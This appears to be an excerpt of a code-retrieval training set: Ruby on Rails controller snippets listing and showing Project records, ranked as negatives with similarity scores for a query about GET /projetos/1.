"def index\n @projects = Project.all\n render json: @projects\n end",
"def index\n @projects = Project.all\n render json: @projects, status: :ok\n end",
"def listprojects\n get('listprojects.json')['projects']\n end",
"def index\n @projets = Projet.all\n end",
"def index\n # @projects = @current_user.projects\n @projects = Project.all\n json_response(@projects)\n end",
"def new\n @projeto = Projeto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @projeto }\n end\n end",
"def index\n @projects = Project.all\n render json: @projects, layout: false\n end",
"def index\n @user = User.find_by(id: params[:user_id])\n @project = @user.projects\n if @project \n render :json => @project\n else\n render :json => 422\n end\n end",
"def projects\n request(method: 'getAllProjects')\n end",
"def index\n @projects = Project.all_for_user(current_user.id)\n render json: @projects.to_json(include: :project_detail), status: 200\n end",
"def index\n @projects = current_user.projects\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def show_by_gitpath\n @project = Project.includes(:users).includes(:technos).find_by_gitpath(params[:gitpath])\n\n respond_to do |format|\n format.json { render json: @project, status: 200 }\n end\n end",
"def show\n repo = ProjectRepo.new current_user\n @v_project = repo.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @v_project }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @projects }\n end\n end",
"def show\n @projeto = Projeto.find(params[:id])\n @enrollments = Enroll.find_all_by_projeto_id params[:id]\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @projeto }\n end\n end",
"def get_projects_of_user\n respond_to do |format|\n format.json {\n #param = params[:payload]\n #@user = User.find_by_id(param[:id])\n @projects = Project.where(:user_id => @current_user.id)\n if @projects\n render :json => @projects\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end",
"def index\n @projects = current_user.projects.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.includes(:user).all\n respond_with(@projects) do |format|\n format.json { render :json => {:list => @projects.as_json, :current_user => current_user.as_json} }\n format.html\n end\n end",
"def index\n @usuario_projetos = UsuarioProjeto.all\n end",
"def index\n @pedidos = Pedido.all\n @projetos = Projeto.all\n end",
"def index\n @projects = Project.where user: current_user\n render json: @projects, each_serializer: Projects::IndexSerializer\n end",
"def index\n @projects = Project.visible\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def show\n @project = @client.projects.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def get\n CircleCi.request(conf, '/projects').get\n end",
"def index\n @projects = Project.includes(:participants).all\n\n render json: @projects, include: :participants, status: 200\n end",
"def index\n #by default show only active projects, not someday projects\n @projects = Project.all_active_projects(params[:context],current_user.id )\n @chores = Chore.where(\"user_id = ?\",current_user.id)\n @choretypes = Choretype.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n \n @workspaces = current_user.workspaces\n # debugger\n @projects = Project.where(:workspace_id => @workspace)\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.order_by_company_and_project.paginate(page: params[:page] || 1, per_page: helpers.pager_per_page)\n respond_to do |format|\n message = @projects.present? ? \"\" : \"There are no projects available at this time\"\n format.json do\n status = @projects.present? ? :ok : :not_found\n render json: { response: @projects, status: status, message: message }\n end\n format.html do\n # Only authorize html format, json is okay because we use it as\n # an api.\n authorize(:project)\n flash[:alert] = message unless message.blank?\n @projects\n end\n end\n end",
"def index \n\n @projects = Project.all\n respond_to do |format|\n format.html {render :template => \"projects/index\"}\n format.json { render json: @projects }\n end\n end",
"def new\n @project = Project.new\n @services = Service.find(:all)\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def index\n @tipo_de_projetos = TipoDeProjeto.all\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @projects }\n #format.json { render json: @project.as_json(:include => [:client, :project_participants] ) }\n end\n end",
"def show\n @project = Project.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n\n render json: Project.all\n\n end",
"def show \n project= Project.find(params[:id])\n\n render json: project\n end",
"def show\n render json: @project\n end",
"def list\r\n @projects = Project.where(user:current_user).order(created_at: :desc).page(params[:page])\r\n respond_with(@projects)\r\n end",
"def index\n @projects_objetives = ProjectsObjetive.all\n end",
"def index_participating\n projects = current_user.projects.paginate(:page => params[:page])\n render json: projects\n end",
"def show_all_projects\r\n json = GoodData.get GoodData.profile.projects\r\n puts \"You have this project available:\"\r\n json[\"projects\"].map do |project|\r\n pid = project[\"project\"][\"links\"][\"roles\"].to_s\r\n puts \"Project name: #{project[\"project\"][\"meta\"][\"title\"].bright} Project PID: #{pid.match(\"[^\\/]{32}\").to_s.bright}\"\r\n end\r\n end",
"def index\n\t\t@projects = Array.new\n\t\t\n\t\t# Se houver um usuário logado, verifica os projetos que ele já faz parte\n\t\tif current_user\n\t\t\t\n\t\t\t@teams = Array.new\n\t\t\tTeam.all.each do |t|\n\t\t\t\tif t.user_id == current_user.id\n\t\t\t\t\t@teams.push(t)\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\tend\n\t\t\n\t\t# Alguns projetos podem nao estar visiveis, de acordo com as \n\t\t# condicoes abaixo\n\t\tProject.all.each do |p|\n\t\t\t\n\t\t\t# Se o projeto esta como publico, deve aparecer (exceto se for recem criado / iniciado)\n\t\t\tif p.status_ace && ( p.andamento == 'C' || p.andamento == 'E' )\n\t\t\t\t@projects.push(p)\n\t\t\t\t\n\t\t\t\t# Se o usuario é coordenador do projeto, o projeto deve aparecer para ele sempre\n\t\t\t\telsif current_user && current_user.id == p.user_id\n\t\t\t\t@projects.push(p)\n\t\t\t\t\n\t\t\t\t# O administrador tambem pode ver todos os projetos sempre\n\t\t\t\telsif current_user && current_user.user_role_id == 1\n\t\t\t\t@projects.push(p)\n\t\t\t\t\n\t\t\t\t# Se o usuario é pesquisador e o status do projeto é em\n\t\t\t\t\t# andamento ou concluído, mesmo que não esteja publico,\n\t\t\t\t# deve aparecer para ele\n\t\t\t\telsif current_user\n\t\t\t\t\n\t\t\t\t# Busca o papel deste usuario no time, se houver\n\t\t\t\t@curr_team = Team.find_by user_id: current_user.id, project_id: p.id\n\t\t\t\tif @curr_team && @curr_team.status_ace\n\t\t\t\t\t@projects.push(p)\n\t\t\t\tend\n\t\t\t\t\n\t\t\tend\n\t\t\t\n\t\tend\n\t\t\n\tend",
"def index\n @projects = Project.with_permissions_to(:read)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def projects(params = {})\n make_get_request('/account/projects', params)\n end",
"def projects\n resource 'projects'\n end",
"def index\n @projects_people = ProjectsPerson.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects_people }\n end\n end",
"def index\n # Lista todos los proyectos\n @projects = Project.all\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def get_projects\n me = request('/services/v5/me')\n me['projects']\n end",
"def index\n @user = get_user\n @projects = Project.all\n # render :inline => @projects.to_json\n end",
"def show\n respond_with @project do |format|\n format.json do\n render json: @project.as_json.merge(\n commits_url: project_commits_url(@project, format: 'json'),\n commits: @project.commits.order('committed_at DESC').limit(10).map { |commit|\n commit.as_json.merge(\n percent_done: commit.fraction_done.nan? ? 0.0 : commit.fraction_done*100,\n translations_done: commit.translations_done,\n translations_total: commit.translations_total,\n strings_total: commit.strings_total,\n import_url: import_project_commit_url(@project, commit, format: 'json'),\n sync_url: sync_project_commit_url(@project, commit, format: 'json'),\n url: project_commit_url(@project, commit),\n status_url: project_commit_url(@project, commit),\n )\n }\n )\n end\n end\n end",
"def show\n @project = Project.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @project }\n end\n end",
"def show\n render json: Project.where(id: params.fetch(:id))\n end",
"def index\n @current_page = \"PROJECTS\"\n @projects = Project.all\n @projects_for_review = Project.pending_review if current_user\n @new_nav = true;\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @gooddata_projects = GooddataProject.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gooddata_projects }\n end\n end",
"def show\n @ourproject = Ourproject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ourproject }\n end\n end",
"def show\n @projeto = Projeto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @projeto }\n end\n end",
"def index\n respond_with(@projects = Project.scoped.to_a.select { |p| p.targeted_rfc5646_locales.include? @locale.rfc5646 }) do |format|\n format.json { render json: decorate(@projects).to_json }\n end\n end",
"def projects\n @projects = Project.order(created_at: :desc).page(@page).per(10)\n respond_to do |format|\n format.html\n format.js { render :projects}\n end\n end",
"def index\n @nvs_dept_projects = NvsDeptProject.order('name ASC').all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @nvs_dept_projects }\n end\n end",
"def index\n @project_todos = @project.project_todos.all\n \n #render :json => @project_todos\n \n end",
"def show\n @projects_person = ProjectsPerson.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @projects_person }\n end\n end",
"def destroy\n @projeto = Projeto.find(params[:id])\n @projeto.destroy\n\n respond_to do |format|\n format.html { redirect_to projetos_url }\n format.json { head :no_content }\n end\n end",
"def index\n @user = User.find_by_id(session[:userid])\n @projects = current_user_projects\n respond_to do |format|\n format.html # index.html.erb\n format.json\n end\n end",
"def show \n respond_to do |format|\n format.json {\n\n @project = Project.find_by_id(params[:id])\n\n if @project\n render :json => @project\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end",
"def show\n respond_with(@project) do |format|\n format.json { render json: @project.as_json }\n format.html\n end\n end",
"def show\n \t @pagenav = Page.find_all_by_published('true')\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def list_project(optional={})\n\t\targs = self.class.new_params\n\t\targs[:method] = 'GET'\n\t\targs[:pattern] = '/projects'\n\t\targs[:query]['Action'] = 'ListProject'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'http'\n\t\tif optional.key? :page\n\t\t\targs[:query]['Page'] = optional[:page]\n\t\tend\n\t\tif optional.key? :page_size\n\t\t\targs[:query]['PageSize'] = optional[:page_size]\n\t\tend\n\t\tif optional.key? :project_owner\n\t\t\targs[:query]['ProjectOwner'] = optional[:project_owner]\n\t\tend\n\t\tself.run(args)\n\tend",
"def index\n if(current_user.has_role?(:developer))\n @projects = Project.joins(:developers).where(\"users.id= #{current_user.id}\")\n else\n @projects = Project.all\n end\n render json: @projects\n end",
"def show\n @project = Project.find_by(id: params[:id])\n if @project\n render :json => @project\n else\n render :json => 422\n end\n end",
"def index\n if signed_in?\n @projects = current_user.projects\n respond_to do |format|\n format.html { render 'projects/index' }\n format.json { render template: 'projects/index.json.jbuilder' }\n end\n else\n redirect_to :projects\n end\n end",
"def find_projects\n \turi = URI(BASE_URL+\"projects.json?limit=100\")\n \treq = Net::HTTP::Get.new(uri)\n \treq['Authorization']=BASIC_AUTHORIZATION\n \tres = Net::HTTP.start(uri.hostname, uri.port) {|http|\n \t http.request(req)\n \t}\n\n \tprojects_full_json = JSON.parse(res.body)[\"projects\"]\n \tres = []\n \tprojects_full_json.each do |json_project|\n \t\tp = ProjectForm.new(json_project)\n \t\tres << p\n \tend\n\n \tres.each do |project|\n #Recorremos los proyectos, si no existen los creamos, en otro caso los actualizamos.\n project_db = Project.find_or_create_by(:identifier=>project.identifier)\n\n project_db.update(\n :name => project.name,\n :description => project.description,\n :identifier => project.identifier,\n :trackers=>[]\n );\n\n correspond = Correspond.where(:id_remote=>project.id,:remote_type=>0).first_or_create\n correspond.id_local=project_db.id\n correspond.remote_type=0\n correspond.save\n\n if(!project_db.errors.empty?)\n puts project_db.errors.full_messages\n end\n end\n return res\n end",
"def index\n #@projects = []\n if current_user\n #@projects = current_user.projects.where(\"memberships.status >= ?\", 1)\n end\n\n if params[:id]\n @project = Project.find(params[:id])\n authorize! :read, @project\n else\n @project = @projects.first\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.js { render :action => 'show'}\n format.json { render json: @projects }\n end\n end"
] |
[
"0.7755959",
"0.7210779",
"0.7150677",
"0.7150677",
"0.71394736",
"0.6997981",
"0.6973732",
"0.6936124",
"0.6931593",
"0.6912539",
"0.68707955",
"0.6835493",
"0.681063",
"0.6809929",
"0.6803478",
"0.6802129",
"0.67864394",
"0.67864394",
"0.67864394",
"0.67864394",
"0.67864394",
"0.67864394",
"0.67864394",
"0.67850316",
"0.6739763",
"0.6711745",
"0.670272",
"0.6700904",
"0.6700628",
"0.66972953",
"0.6650874",
"0.66380346",
"0.6618719",
"0.6613464",
"0.6601924",
"0.6595786",
"0.65559363",
"0.65455383",
"0.6523746",
"0.65146106",
"0.6495958",
"0.64943266",
"0.64942783",
"0.64789736",
"0.6476288",
"0.64693993",
"0.64692676",
"0.64692676",
"0.64692676",
"0.64692676",
"0.64692676",
"0.64692676",
"0.64692676",
"0.64692676",
"0.64692676",
"0.64692676",
"0.64692676",
"0.64692676",
"0.64692676",
"0.64692676",
"0.64692676",
"0.6466219",
"0.6465928",
"0.6462984",
"0.64625555",
"0.6453824",
"0.6453341",
"0.64443403",
"0.6440713",
"0.64343214",
"0.64295745",
"0.6429198",
"0.6418065",
"0.64174867",
"0.6386555",
"0.6385787",
"0.6384012",
"0.63839185",
"0.6378184",
"0.6372603",
"0.6369525",
"0.63646394",
"0.6362301",
"0.6359362",
"0.63574404",
"0.63487554",
"0.63451606",
"0.63304263",
"0.63256335",
"0.6321587",
"0.63195086",
"0.6317139",
"0.6313071",
"0.63017166",
"0.630088",
"0.62996465",
"0.6294175",
"0.62871504",
"0.6278733",
"0.6278312",
"0.62776685"
] |
0.0
|
-1
|
GET /projetos/1 GET /projetos/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @projetos = Projeto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projetos }\n end\n end",
"def show\n \n @projetos = Projeto.all\n \n end",
"def index\n @projetos = Projeto.all\n end",
"def index\n @projetos = Projeto.all\n end",
"def show\n repo = ProjectRepo.new current_user\n @v_project = repo.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @v_project }\n end\n end",
"def list\n get 'projects'\n end",
"def new\n @projeto = Projeto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @projeto }\n end\n end",
"def show_by_gitpath\n @project = Project.includes(:users).includes(:technos).find_by_gitpath(params[:gitpath])\n\n respond_to do |format|\n format.json { render json: @project, status: 200 }\n end\n end",
"def show\n @project = @client.projects.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def index\n @projects = Project.all\n render json: @projects\n end",
"def index\n @projects = Project.all\n render json: @projects, status: :ok\n end",
"def index\n @projets = Projet.all\n end",
"def index\n @user = User.find_by(id: params[:user_id])\n @project = @user.projects\n if @project \n render :json => @project\n else\n render :json => 422\n end\n end",
"def show \n project= Project.find(params[:id])\n\n render json: project\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n render json: Project.where(id: params.fetch(:id))\n end",
"def show\n @projeto = Projeto.find(params[:id])\n @enrollments = Enroll.find_all_by_projeto_id params[:id]\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @projeto }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all_for_user(current_user.id)\n render json: @projects.to_json(include: :project_detail), status: 200\n end",
"def index\n @projects = Project.all\n render json: @projects, layout: false\n end",
"def index\n # @projects = @current_user.projects\n @projects = Project.all\n json_response(@projects)\n end",
"def show\n @project = Project.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @project }\n end\n end",
"def show\n @ourproject = Ourproject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ourproject }\n end\n end",
"def index\n @projects = current_user.projects\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @projects }\n end\n end",
"def new\n @project = Project.new\n @services = Service.find(:all)\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find_by(id: params[:id])\n if @project\n render :json => @project\n else\n render :json => 422\n end\n end",
"def show \n respond_to do |format|\n format.json {\n\n @project = Project.find_by_id(params[:id])\n\n if @project\n render :json => @project\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end",
"def show\n # turn ruby database into json\n # route to the project 3 page with this json\n # id = 1\n end",
"def show\n @unfinished_project = UnfinishedProject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @unfinished_project }\n end\n end",
"def show\n render json: @project\n end",
"def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def listprojects\n get('listprojects.json')['projects']\n end",
"def show\n @projeto = Projeto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @projeto }\n end\n end",
"def index\n @projects = Project.visible\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = current_user.projects.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def show\n @show_project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @show_project }\n end\n end",
"def show\n respond_with @project do |format|\n format.json do\n render json: @project.as_json.merge(\n commits_url: project_commits_url(@project, format: 'json'),\n commits: @project.commits.order('committed_at DESC').limit(10).map { |commit|\n commit.as_json.merge(\n percent_done: commit.fraction_done.nan? ? 0.0 : commit.fraction_done*100,\n translations_done: commit.translations_done,\n translations_total: commit.translations_total,\n strings_total: commit.strings_total,\n import_url: import_project_commit_url(@project, commit, format: 'json'),\n sync_url: sync_project_commit_url(@project, commit, format: 'json'),\n url: project_commit_url(@project, commit),\n status_url: project_commit_url(@project, commit),\n )\n }\n )\n end\n end\n end",
"def show\n @current_project = CurrentProject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @current_project }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @projects }\n #format.json { render json: @project.as_json(:include => [:client, :project_participants] ) }\n end\n end",
"def show\n @projects_person = ProjectsPerson.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @projects_person }\n end\n end",
"def getProjectID()\n result = RestClient.get GITHUB_API + PROJECTS_PATH, :accept => 'application/vnd.github.inertia-preview+json', :'Authorization' => 'token ' + CONFIG['OAUTH']\n result = JSON.parse(result) \n end",
"def show \n render :json => Project.find_by_id(params[:id])\n end",
"def index\n @projects = Project.where user: current_user\n render json: @projects, each_serializer: Projects::IndexSerializer\n end",
"def get_projects_of_user\n respond_to do |format|\n format.json {\n #param = params[:payload]\n #@user = User.find_by_id(param[:id])\n @projects = Project.where(:user_id => @current_user.id)\n if @projects\n render :json => @projects\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end",
"def show\n @competicao = Competicao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @competicao }\n end\n end",
"def show\n respond_with(@project) do |format|\n format.json { render json: @project.as_json }\n format.html\n end\n end",
"def index \n\n @projects = Project.all\n respond_to do |format|\n format.html {render :template => \"projects/index\"}\n format.json { render json: @projects }\n end\n end",
"def set_projeto\n @projeto = Projeto.find(params[:id])\n end",
"def index\n @pedidos = Pedido.all\n @projetos = Projeto.all\n end",
"def destroy\n @projeto = Projeto.find(params[:id])\n @projeto.destroy\n\n respond_to do |format|\n format.html { redirect_to projetos_url }\n format.json { head :no_content }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\t@user = User.find(@project.user_id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n\n render json: Project.all\n\n end",
"def projects\n request(method: 'getAllProjects')\n end",
"def show\n \t @pagenav = Page.find_all_by_published('true')\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def index\n \n @workspaces = current_user.workspaces\n # debugger\n @projects = Project.where(:workspace_id => @workspace)\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @about_projects = AboutProject.last(1)\n\n respond_to do |format|\n format.json {render json: @about_projects[0], :only => [:description]}\n end\n end",
"def index\n @projects = Project.includes(:participants).all\n\n render json: @projects, include: :participants, status: 200\n end",
"def show\n\n @project = Project.find_by_slug(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def index\n #by default show only active projects, not someday projects\n @projects = Project.all_active_projects(params[:context],current_user.id )\n @chores = Chore.where(\"user_id = ?\",current_user.id)\n @choretypes = Choretype.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = Project.includes(:user).all\n respond_with(@projects) do |format|\n format.json { render :json => {:list => @projects.as_json, :current_user => current_user.as_json} }\n format.html\n end\n end",
"def show\n if @project\n render json: @project, status: :ok\n else\n render json: {error: \"Project does not exist\"} , status: :unprocessable_entity\n end\n end",
"def index\n #@projects = []\n if current_user\n #@projects = current_user.projects.where(\"memberships.status >= ?\", 1)\n end\n\n if params[:id]\n @project = Project.find(params[:id])\n authorize! :read, @project\n else\n @project = @projects.first\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.js { render :action => 'show'}\n format.json { render json: @projects }\n end\n end",
"def index\n @project_details = ProjectDetail.paginate(page: params[:page],\n per_page: params[:per_page])\n .order('project_year,project_id,project_name')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @project_detail } # del s\n end\n end",
"def get\n CircleCi.request(conf, '/projects').get\n end",
"def index\n @projects_objetives = ProjectsObjetive.all\n end",
"def show\n @project = Project.find(params[:project_id])\n @to_do = @project.to_dos.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @to_do }\n end\n end",
"def set_projet\n @projet = Projet.find(params[:id])\n end",
"def set_projet\n @projet = Projet.find(params[:id])\n end",
"def new\n @project = Project.new(user_id: current_user.id)\n find_people_list\n fetch_clients\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @project = Project.find(params[:id])\n\n @cases = @project.cases.ordenado\n\n @entidades= @project.tabelas.ordenado\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def project(project_id, options={})\n response_body = nil\n begin\n response = connection.get do |req|\n req.url \"/api/v1/projects/#{project_id}\", options\n end\n response_body = response.body\n rescue MultiJson::DecodeError => e\n #p 'Unable to parse JSON.'\n end\n \n response_body\n end",
"def index\n @usuario_projetos = UsuarioProjeto.all\n end",
"def set_projeto\n @projeto = Projeto.find(params[:id])\n @title = @projeto.nome\n end",
"def index_participating\n projects = current_user.projects.paginate(:page => params[:page])\n render json: projects\n end",
"def index\n @projects_people = ProjectsPerson.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects_people }\n end\n end",
"def show\n @proyecto_imagen = ProyectoImagen.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @proyecto_imagen }\n end\n end",
"def index\n # Lista todos los proyectos\n @projects = Project.all\n end"
] |
[
"0.7665047",
